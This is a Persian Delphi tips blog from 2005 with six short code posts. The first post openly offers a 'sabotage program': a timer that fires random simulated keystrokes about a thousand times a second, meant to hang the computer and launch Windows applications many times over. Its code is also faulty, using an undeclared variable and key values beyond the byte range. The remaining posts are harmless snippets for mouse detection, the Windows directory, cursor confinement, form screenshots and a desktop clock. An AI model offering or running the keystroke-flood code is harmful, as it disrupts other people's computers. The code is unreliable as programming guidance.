تبليغاتX
مرکز تخصصی دلفی

مرکز تخصصی دلفی

این وبلاگ توسط کم سن ترین برنامه نویس ایران مدیریت می «شد»

یک نرم افزار خرابکار بسازید

این کد تمام کلیدهای کی برد را می فشارد (مجازی) انتخاب کلید به صورت random است و هر ثانیه هزار بار این اتفاق روی میدهد.در این صورت رایانه قطعا هنگ می کند.با این کار ماشین حساب ویندوز و تمام نرم افزار های ویندوز اجرا می شود(از هر کدام صدها بار)

یک Timer بگذارید.Interval آن را برابر ۱ بگذارید.دو بار روی آن کلیک کرده و از کد زیر استفاده کنید:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
uses Math;

{$R *.dfm}
procedure x(key:byte;e:DWORD);
 begin
 keybd_event(key,e,0,0);
 keybd_event(key,e,KEYEVENTF_KEYUP,0);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 a:=Random(3945);
  x(a,1);
end;

end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  شنبه بیست و هفتم فروردین 1384ساعت 21:14  توسط کوشا نخعی  | 

آیا موس به رایانه متصل است؟

با این کد شما می توانید تشخیص دهید که آیا موس به رایانه ی شما متصل است یا نه.
فقط یک دکمه و یک Label در فرم قرارا دهید و برای رویداد دکمه کد زیر را تعریف کنید.

//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
if GetSystemMetrics(SM_MOUSEPRESENT)<>0 then
 Label1.Caption:='Mouse is Connect'
else Label1.Caption:='Mouse is Not Connect';
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  شنبه بیست و هفتم فروردین 1384ساعت 21:12  توسط کوشا نخعی  | 

بدست آوردن دایرکتوری ویندوز

با این کد Windir به آدرس دایرکتوری ویندوز تبدیل می شود.

//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
var
  WinDir: array[0..255] of Char;
begin
  GetWindowsDirectory(WinDir, MAX_PATH);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  شنبه بیست و هفتم فروردین 1384ساعت 21:11  توسط کوشا نخعی  | 

محدود کردن حرکت موس و جلو گیری از خروج موس از فرم

این کد به نمایشگر نقطه ی موس اجازه نمی دهد که از کادر فرم خارج شود. این کد را در OnActivate فرم قرار دهید:

//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.FormActivate(Sender: TObject);
var
 Po :TPoint;
 a:TRect;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
a := ClientRect;
 with a do begin
  po := ClientToScreen(Point(Left,Top)) ;
  Left := Po.X;
  Top  := Po.Y ;
  Po := ClientToScreen(Point(Right,Bottom)) ;
  Right  := Po.X;
  Bottom := Po.Y;
 end;
  ClipCursor(@a);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  جمعه نوزدهم فروردین 1384ساعت 10:9  توسط کوشا نخعی  | 

عکس گرفتن از فرم فقط با یک خط کد

این کد تنها از فرم عکس می گیرد.کد بسیار جالبی است.با یک کد کلیدی از فرم خود عکس بگیرید:

  GetFormImage.SaveToFile('c:\Form.bmp');

+ نوشته شده در  پنجشنبه یازدهم فروردین 1384ساعت 12:2  توسط کوشا نخعی  | 

یک ساعت فوق العاده

این کد زمان را به طور دقیق بر روی دسکتاپ نقش می کند.اگر // اولی را بردارید فرم مخفی می شود و فقط ساعت نمایش داده می شود.و اگر // دومی را بردارید پس زمینه ساعت حذف می شود.

procedure TForm1.Timer1Timer(Sender: TObject);
var//© 2005 koosha system Software http://delphi-center.blogfa.com
 d:TDateTime;
 x:integer;
 str:String;
begin//© 2005 koosha system Software http://delphi-center.blogfa.com
// form1.Hide;
  desktopcanvas:=TCanvas.Create;
  desktopcanvas.Handle:=GetDC(HWND_DESKTOP);
  d:=Time;
  str:=TimeToStr(d);
//desktopcanvas.Brush.Style:=bsClear;
  desktopcanvas.Font.Color:=clRed;
  desktopcanvas.Font.Name:=('tahoma');
 desktopcanvas.Font.Size:=20;
  desktopcanvas.TextOut(12,12,str);
 SetBkMode(Canvas.Handle,x);
end;//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  دوشنبه هشتم فروردین 1384ساعت 10:21  توسط کوشا نخعی  |